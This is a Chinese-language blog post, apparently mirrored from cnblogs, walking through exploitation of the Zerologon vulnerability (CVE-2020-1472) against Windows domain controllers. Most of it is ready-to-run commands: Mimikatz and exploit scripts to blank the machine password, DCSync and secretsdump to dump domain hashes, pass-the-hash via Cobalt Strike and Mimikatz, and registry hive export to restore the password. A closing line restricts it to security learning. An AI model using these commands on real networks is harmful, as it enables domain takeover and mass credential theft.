zoukankan      html  css  js  c++  java
  • CVE-2020-1472 Zerologon

    CVE-2020-1472 Zerologon

    漏洞简介

    CVE-2020-1472是继MS17010之后一个比较好用的内网提权漏洞,影响Windows Server 2008R 2至Windows Server 2019的多个版本系统,只要攻击者能访问到目标域控井且知道域控计算机名即可利用该漏洞.该漏洞不要求当前计算机在域内,也不要求当前计算机操作系统为windows,该漏洞的稳定利用方式为重置目标域控的密码, 然后利用城控凭证进行Dc sync获取域管权限后修复域控密码,之所以不直接使用坏控凭证远程执行命令,是因为城控账户是不可以登录的,但是域控具备Dc sync权限, 可以获取域内任意用户的凭证。

    漏洞利用过程中会重置域控存储在域中(ntds.dit)的凭证,而域控存储在域中的凭证与本地的注册表/lsass中的凭证不一致时,会导致目标域控脱域,所以在重置完域控凭证后要尽快恢复。

    利用过程

    0x01 置空密码

    Mimikatz(推荐)

    管理员权限运行Mimikatz

    # 提升权限
    privilege::debug
    
    # 检测是否存在漏洞
    lsadump::zerologon /target:<dc-ip> /account:<主机名>$
    
    # 重置密码
    lsadump::zerologon /target:<dc-ip> /account:<主机名>$ /exploit
    
    # 导出域管hash
    lsadump::dcsync /domain:<domain> /dc:<DC server> /user:<想要导出hash的user,如:administrator> /authuser:<计算机名>$ /authdomain:<domain> /authpassword:"" /authntlm
    例如:
    lsadump::dcsync /domain:de1ay.com /dc:dc.de1ay.com /user:krbtgt /authuser:DC$ /authdomain:de1ay /authpassword:"" /authntlm
    

    Zer0dump

    这个工具好在会直接利用会返回域管的hash,更快速一点,不过需要新版impacket比较麻烦。

    原文:https://blog.zsec.uk/zerologon-attacking-defending/

    工具链接:https://github.com/bb00/zer0dump

    git clone https://github.com/bb00/zer0dump.git
    cd zer0dump-master && pip3 install -r requirements.txt
    

    每攻击256次会有一次起作用,但还要排除0.04%的虚假利用情况,所以会最大尝试2000次保证成功,当返回值为0时代表利用成功。这会导致 account's password 变为空字符串进而利用PTH等方法进一步操作。

    利用:执行成功后会返回管理员用户的账号和hash

    python3 zer0dump.py <target-ip>
    
    "该漏洞利用程序将域中的NTDS.dit(保留了该域上所有用户的所有NTLM哈希值)/tmp/dumped.tmp.ntds转储到域,并利用秘密转储来转出本地管理员密码,如上所示。此外,由于返回的错误代码为零,因此我们可以看到该漏洞利用成功。管理员的哈希值已设置为空白字符串"
    

    排坑:

    0x01 报错:AttributeError: module ‘impacket.dcerpc.v5.nrpc’ has no attribute ‘NetrServerPasswordSet2 ’

    解决:重新安装最新版本的impacket

    git clone https://github.com/SecureAuthCorp/impacketcd
    cd impacket
    pip install . 
    

    cve-2020-1472-exploit.py

    链接:https://github.com/VoidSec/CVE-2020-1472

    python3 cve-2020-1472-exploit.py <主机名> 192.168.159.149
    # 主机名也就是扫出的机器名称,对应的会有一个主机名$账户
    

    0x02 导出hash

    secretsdump.py

    python3 secretsdump.py <domain>/<主机名>$@<dc-ip>  -no-pass
    proxychains python3 secretsdump.py <domain>/<主机名>$@<dc-ip>  -no-pass > hashes.txt
    

    0x03 PTH of CobaltStrike

    当知道target ip 、账户和 账户hash且有一台内网的机器权限时如何快速上线。

    当然这里也可以用自己喜欢的方式。

    前提

    有一台可通target ip的cs上线机器

    已知target ip的账户和hash

    首先 Add一个监听器,Name随意, TCP Beacon

    image-20210406173756038

    view --> targets --> Add 添加目标

    image-20210406173914785

    完成后在targets标签页里,或点击image-20210406174018598 选择刚才添加的target右键 --> Jump --> psexec_psh

    image-20210406174139476

    填写相应user,该userpassword hash ,所在DomainListener选择刚才添加的 TCP BeaconSession选择可访问此target的内网cs上线的机器,点击Launch就上线了。

    image-20210406174235434

    这个新生成的会话会带用下图红框标注的标记,这代表是从之前内网cs上线的机器的Session派生出的新Session,当内网的机器cs掉了这个会话也就掉了

    image-20210406174609335

    0x03 PTH of Mimikatz

    privilege::debug
    
    sekurlsa::pth /user:administrator /domain:<domain> /rc4:<NTLM hash>
    
    之后会弹出一个cmd
    

    0x04恢复hash

    这里因为之前通过NetLogon将账号hash置为空,后续获得域管hash后需要赶紧将之前在SAM文件保存的hash去恢复,否则会脱域。

    导出SAM

    保存 sam.save 、security.save 、 system.save

    reg save HKLMSYSTEM system.save
    reg save HKLMSAM sam.save
    reg save HKLMSECURITY security.save
    
    # 获取文件路径
    get system.saveget sam.save
    get security.save 
    
    # 删除文件
    del /f system.save
    del /f sam.save
    del /f security.save
    

    获取原来的NTLM Hash

    python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
    

    通过拿到 $MACHINE.ACC: 的值,然后进行恢复:注意只有后半部分:

    image-20210406183523222

    恢复Hash

    python3 reinstall_original_pw.py Motoo-DCSRV 192.168.159.149 ce7b34c0f2c72d6cb03123ef5ff741ca
    

    验证恢复结果

    python3 secretsdump.py Motoo.nc/Motoo-DCSRV$@192.168.159.149 -just-dc-no-pass
    
    python3 secretsdump.py Motoo.nc/Motoo-DCSRV$@192.168.159.149    -no-pass   # 四个空格
    
    

    image-20210406183747067

    0x05 小Tips

    如何寻找域控计算机名?

    # 不在域内
    nbtscan扫描
    nmap smb嗅探
    nslookup <域控ip>  有时dns服务器也搭在域控上
    
    # 在域内 
    命令查询
    

    参考文章

    https://cloud.tencent.com/developer/article/1780108

    https://github.com/VoidSec/CVE-2020-1472

    https://github.com/bb00/zer0dump

    https://blog.zsec.uk/zerologon-attacking-defending/

    https://cloud.tencent.com/developer/article/1753595

    所有内容仅限于维护网络安全学习参考
  • 相关阅读:
    掌游 新项目:我采用NH连接MySql所遇到的问题
    运行时动态将字符串编译为C#可执行代码
    数据库连接字符串用IP死活连不上,只能用计算机名连,ADO或ORM错误提示为表“对象”无效
    File.Copy是Copy完再执行下一句的,自己验证过了。
    window.external.XXX 判断是否有这个方法
    java构建工具——ant使用
    大数据学习之路(1)Hadoop生态体系结构
    Java经典代码片段——使用NIO进行快速的文件拷贝
    Java代码片段——向文件末尾添加内容
    JAVA几种常见的编码格式(转)
  • 原文地址:https://www.cnblogs.com/Zh1z3ven/p/14624772.html
Copyright © 2011-2022 走看看